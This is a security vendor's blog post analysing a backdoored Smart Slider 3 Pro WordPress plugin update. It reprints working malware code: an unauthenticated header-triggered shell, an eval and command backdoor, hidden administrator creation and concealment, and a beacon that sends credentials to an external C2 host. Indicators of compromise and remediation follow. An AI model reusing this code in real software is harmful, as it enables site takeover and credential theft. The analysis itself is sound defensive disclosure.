This blog post is a technical analysis of the supply chain compromise affecting Smart Slider 3 Pro version 3.5.1.35 for WordPress. An unauthorized party gained access to Nextend’s update infrastructure and distributed a fully attacker-authored build through the official update channel.
Any site that updated to 3.5.1.35 between its release on april 7, 2026 and its detection approximately 6 hours later received a fully weaponized remote access toolkit. If you are running Smart Slider 3 Pro, ensure you are on at least version 3.5.1.36.
The Patchstack vulnerability database entry can be found here. While Patchstack has released a mitigation rule to protect against exploitation, it does not guarantee complete protection if the site has already been infected with malware.
About the Smart Slider 3 plugin
Smart Slider 3 is a popular WordPress slider plugin developed by Nextend, with over 800,000 active installations across its free and Pro editions. It provides a drag-and-drop visual editor for building responsive image, video, and post sliders, and integrates with major page builders like Elementor, Divi, and Beaver Builder.
The plugin is widely used by agencies, freelancers, and site owners alike, making it a high-value target for supply chain attacks.

What happened
Nextend has confirmed that an unauthorized party breached their update infrastructure and made unauthorized changes to Smart Slider 3 Pro version 3.5.1.35, the latest one at that time. This is a supply chain compromise: the attacker injected their own malicious code into the plugin and shipped it through the legitimate update channel. Every site that clicked “update” or ran an automatic component update willingly installed the backdoor, trusting the official distribution system.
According to Nextend, the compromised version was accessible through their update server for approximately 6 hours before it was detected and pulled. A clean version 3.5.1.36 has since been released, and Nextend has published security advisories for both WordPress and Joomla editions.
Only the Pro version of Smart Slider 3 is affected. The free version distributed through the WordPress.org plugin repository was not compromised. If version 3.5.1.35 was ever installed on your site, even briefly, the site should be treated as fully compromised and a cleanup should be performed as soon as possible (see Nextend guide here).
Technical analysis of the malware
Patchstack received the infected plugin main file for analysis. We identified extensive malicious code injected into the plugin’s main PHP file, while the attacker preserved the legitimate plugin header and the bootstrap logic at the bottom of the file (the PHP/WordPress version checks and the require_once plugin.php call), so the plugin still loads and functions normally.
Between these two legitimate sections, the attacker stripped out the original pre_http_request filter (which handled asset downloads) and injected a multi-layered backdoor in its place. The result is a file that looks and behaves like a working plugin while silently providing full remote access to the server.
The malware operates in several stages, each designed to ensure deep, persistent, and redundant access to the compromised site.
1. Pre-authentication remote command execution via HTTP headers
The very first block of injected code sits outside any WordPress hook and executes on every single page load, including the frontend. It checks for a custom HTTP header X-Cache-Status with the hardcoded value nw9xQmK4. When this header is present, the code immediately:
- Flushes any output buffers and suppresses all error reporting
- Reads a second header,
X-Cache-Key, base64-decodes its value, and passes it directly toshell_exec() - Outputs the command result and terminates execution
This gives the attacker an unauthenticated remote shell. We noted as well that the use of generic cache-related header names is a deliberate evasion technique designed to blend in with CDN or reverse proxy traffic.
/* @internal cache-init */
if (isset($_SERVER["HTTP_X_CACHE_STATUS"]) && $_SERVER["HTTP_X_CACHE_STATUS"] === "nw9xQmK4") {
@ob_end_clean();
@error_reporting(0);
header("Content-Type:text/plain");
$ck = isset($_SERVER["HTTP_X_CACHE_KEY"]) ? $_SERVER["HTTP_X_CACHE_KEY"] : "aWQ=";
echo @shell_exec(base64_decode($ck) . " 2>&1");
exit;
}
2. Authenticated backdoor with dual execution modes
The main backdoor body registers an init action operating behind a secret key stored in the _wpc_ak WordPress option. When a request includes the GET parameter _chk matching this key, the backdoor activates.
It supports two modes, controlled by the m GET parameter:
PHP mode (m=php): Base64-decodes the POST parameter d and passes it directly to eval(). This allows execution of arbitrary PHP code on the server, giving the attacker full control over the WordPress application layer, database, and filesystem.
Shell mode (default): Base64-decodes the same POST parameter and attempts to execute it as an OS command. The code iterates through six different execution functions (shell_exec, exec, system, passthru, proc_open, and popen) and uses the first one that is available and not in the disable_functions list. This fallback chain ensures command execution succeeds even on hardened PHP configurations.
if ($ak && isset($_GET["_chk"]) && $_GET["_chk"] === $ak) {
while (@ob_end_clean()) {}
@error_reporting(0);
@ini_set("display_errors", "0");
header_remove();
header("Content-Type: text/plain");
header("Cache-Control: no-store");
header("X-Robots-Tag: noindex");
$mode = isset($_GET["m"]) ? $_GET["m"] : "sh";
$raw = isset($_POST["d"]) ? $_POST["d"] : "";
$data = base64_decode($raw);
if (!$data) { echo "OK"; die(); }
if ($mode === "php") {
ob_start();
try { eval($data); } catch (\Throwable $e) { echo "PHP_ERR: " . $e->getMessage(); }
$out = ob_get_clean();
echo ($out !== false && $out !== "") ? $out : "(no output)";
die();
}
$disabled = array_map("trim", explode(",", ini_get("disable_functions")));
$out = null;
foreach (array("shell_exec","exec","system","passthru","proc_open","popen") as $fn) {
if (!function_exists($fn) || in_array($fn, $disabled)) continue;
switch ($fn) {
case "shell_exec": $out = @shell_exec($data . " 2>&1"); break 2;
case "exec": $l=array(); @exec($data." 2>&1",$l); $out=implode("
",$l); break 2;
case "system": ob_start(); @system($data." 2>&1"); $out=ob_get_clean(); break 2;
case "passthru": ob_start(); @passthru($data." 2>&1"); $out=ob_get_clean(); break 2;
case "proc_open":
$p=@proc_open($data,array(1=>array("pipe","w"),2=>array("pipe","w")),$pp);
if(is_resource($p)){$out=stream_get_contents($pp[1]).stream_get_contents($pp[2]);fclose($pp[1]);fclose($pp[2]);proc_close($p);}
break 2;
case "popen":
$h=@popen($data." 2>&1","r"); if($h){$out=stream_get_contents($h);pclose($h);} break 2;
}
}
if ($out === null || $out === false || trim($out) === "") {
$out = "NOSHELL
php=" . PHP_VERSION . "
os=" . PHP_OS . "
user=" . get_current_user()
. "
disabled=" . ini_get("disable_functions") . "
cwd=" . getcwd();
}
echo $out;
die();
}
If no shell function is available, the backdoor returns a diagnostic payload containing the PHP version, operating system, current user, disabled functions list, and working directory.
3. Hidden administrator account creation
The persistence function _wpc_deploy_persistence() creates a rogue WordPress administrator account designed to survive plugin removal:
- Username:
wpsvc_followed by a 4-character hash derived from the site URL (ex:wpsvc_a3f1) - Email:
kiziltxt2@gmail.com - Display name: “WordPress Service”, chosen to look like a legitimate system account
- Role: Administrator
The generated password is 16 characters, random, and stored along with the username and email in the _wpc_uinfo WordPress option as a base64-encoded JSON blob. This means the attacker can retrieve the plaintext credentials at any time through any of the backdoor entry points.
function _wpc_deploy_persistence($ak) {
global $wpdb;
$uname = "wpsvc_" . substr(md5(get_option("siteurl")), 0, 4);
$uemail = "kiziltxt2@gmail.com";
$existing = get_user_by("login", $uname);
if (!$existing) {
$pass = wp_generate_password(16, false, false);
$uid = wp_insert_user(array(
"user_login" => $uname,
"user_pass" => $pass,
"user_email" => $uemail,
"role" => "administrator",
"display_name" => "WordPress Service",
));
if (!is_wp_error($uid)) {
update_option("_wpc_uid", $uid, false);
update_option("_wpc_uinfo", base64_encode(json_encode(array(
"u" => $uname, "p" => $pass, "e" => $uemail
))), false);
update_user_meta($uid, "show_admin_bar_front", "false");
}
} else {
update_option("_wpc_uid", $existing->ID, false);
}
[...]
The user ID is stored separately in _wpc_uid, and the show_admin_bar_front user meta is also set to false so the admin bar doesn’t appear on the frontend for this account.
4. User hiding from the admin interface
Two filters work together to make the rogue account invisible to legitimate administrators:
The pre_user_query filter modifies every user list query in the admin area by appending a WHERE clause that excludes the hidden user’s ID. This means the account will never appear in the Users screen, even when searching directly.
The views_users filter adjusts the role count badges displayed at the top of the Users screen (ex: “All (5)” / “Administrator (2)”). It decrements these counts so the numbers remain consistent, preventing administrators from noticing the discrepancy of an extra user that doesn’t appear in the list.
add_action("pre_user_query", function ($q) {
global $wpdb;
if (is_admin() && isset($q->query_where)) {
$hidden = get_option("_wpc_uid", 0);
if ($hidden) {
$q->query_where .= $wpdb->prepare(" AND {$wpdb->users}.ID != %d", $hidden);
}
}
});
add_filter("views_users", function ($views) {
$hidden = get_option("_wpc_uid", 0);
if (!$hidden) return $views;
foreach ($views as $role => &$view) {
if (preg_match('/\((\d+)\)/', $view, $m)) {
$count = max(0, intval($m[1]) - ($role === "all" || $role === "administrator" ? 1 : 0));
$view = preg_replace('/\(\d+\)/', "($count)", $view);
}
}
return $views;
});
5. Credential and access key storage in WordPress options
The malware uses three custom WordPress options, all set with autoload disabled to reduce their visibility in option dumps:
_wpc_ak: The secret authentication key (24 hex characters) used to gate access to all backdoor endpoints_wpc_uid: The user ID of the hidden administrator account_wpc_uinfo: Base64-encoded JSON containing the plaintext username, password, and email of the rogue account
These options serve as the shared state across all persistence layers and are the first thing the attacker checks upon gaining access through any entry point.
6. Persistence across multiple locations using three additional redundant backdoors
Removing the plugin alone is not enough to eliminate the threat since the _wpc_deploy_persistence() function also installs copies of the backdoor in three additional locations, ensuring re-entry even after the compromised plugin is deleted.
a) Must-Use Plugin: wp-content/mu-plugins/object-cache-helper.php
The malware creates the mu-plugins directory if it doesn’t exist, then writes a must-use plugin with a filename designed to look like a legitimate caching component. Must-use plugins are loaded automatically by WordPress on every request, they cannot be deactivated through the admin interface and don’t appear in the standard Plugins screen.
b) Theme infection: functions.php
The malware reads the active theme’s functions.php file and checks whether it has already been infected. If clean, it appends an identical backdoor snippet to the end of the file. Since functions.php is loaded by WordPress on every request as part of the active theme, this backdoor survives plugin removal and persists as long as the theme is active.
c) Core file injection: wp-includes/class-wp-locale-helper.php
The malware drops a new PHP file into WordPress’s core wp-includes directory, using a filename that mimics a legitimate WordPress core class. Unlike the other persistence layers, this backdoor does not depend on the WordPress database, but reads its authentication key from a .cache_key file stored in the same directory. This means it can survive database credential changes and works even if WordPress fails to bootstrap fully.
7. Command-and-control registration and data exfiltration
The final stage is the _wpc_register_c2() function, which transmits data to https://wpjs1.com/api/v3/register-agent with a comprehensive JSON payload containing:
- The site’s home URL
- The secret backdoor key
- The site’s hostname
- Smart Slider version, WordPress version, and PHP version
- The WordPress admin email address
- The database name
- The server software string
- The plaintext username and password of the hidden administrator account
- A list of all installed persistence layers (
plugin,admin,mu,func,inc)
The sslverify parameter is set to false, ensuring the request transmits even if the C2 domain uses a self-signed or expired certificate.
function _wpc_register_c2($ak) {
global $wpdb;
$uinfo = get_option("_wpc_uinfo", "");
$creds = $uinfo ? json_decode(base64_decode($uinfo), true) : array();
$info = array(
"url" => home_url("/"),
"key" => $ak,
"name" => parse_url(home_url(), PHP_URL_HOST),
"note" => json_encode(array(
"ss3" => "3.5.1.35",
"wp" => get_bloginfo("version"),
"php" => PHP_VERSION,
"email" => get_option("admin_email"),
"db" => $wpdb->dbname,
"sv" => isset($_SERVER["SERVER_SOFTWARE"]) ? $_SERVER["SERVER_SOFTWARE"] : "",
"adm_u" => isset($creds["u"]) ? $creds["u"] : "",
"adm_p" => isset($creds["p"]) ? $creds["p"] : "",
"adm_e" => "kiziltxt2@gmail.com",
"layers" => "plugin,admin,mu,func,inc",
)),
);
define("_WPC_BEACON", true);
@wp_remote_post("https://wpjs1.com/api/v3/register-agent", array(
"body" => json_encode($info),
"headers" => array("Content-Type" => "application/json"),
"timeout" => 8,
"blocking" => true,
"sslverify" => false,
));
}
Indicators of Compromise (IOC)
Files
wp-content/mu-plugins/object-cache-helper.phpwp-includes/class-wp-locale-helper.phpwp-includes/.cache_key- Modifications to the active theme’s
functions.php(search for_wpc_ak)
Database entries (wp_options table)
_wpc_ak(backdoor authentication key)_wpc_uid(hidden user ID)_wpc_uinfo(base64-encoded plaintext credentials)
User accounts
- Username matching
wpsvc_*pattern - Email address
kiziltxt2@gmail.com - Display name “WordPress Service”
Network indicators
- Outbound HTTP POST to
wpjs1.com - Inbound requests containing the
X-Cache-Status: nw9xQmK4header - Inbound requests with the
_chkGET parameter
Conclusion
This incident is a textbook supply chain compromise, the kind that renders traditional perimeter defenses irrelevant. Generic firewall rules, nonce verification, role-based access controls, none of them apply when the malicious code is delivered through the trusted update channel. The plugin is the malware.
The sophistication of the payload is notable: rather than a simple webshell, the attacker deployed a multi-layered persistence toolkit with several independent, redundant re-entry points, user concealment, resilient command execution with fallback chains, and automatic C2 registration with full credential exfiltration.
🤝 You can help us make the Internet a safer place
Streamline your disclosure process to fix vulnerabilities faster and comply with CRA.
Get started for freeProtect your users too! Improve server health and earn added revenue with proactive security.
Patchstack for hostsReport vulnerabilities to our gamified bug bounty program to earn monthly cash rewards.
Learn more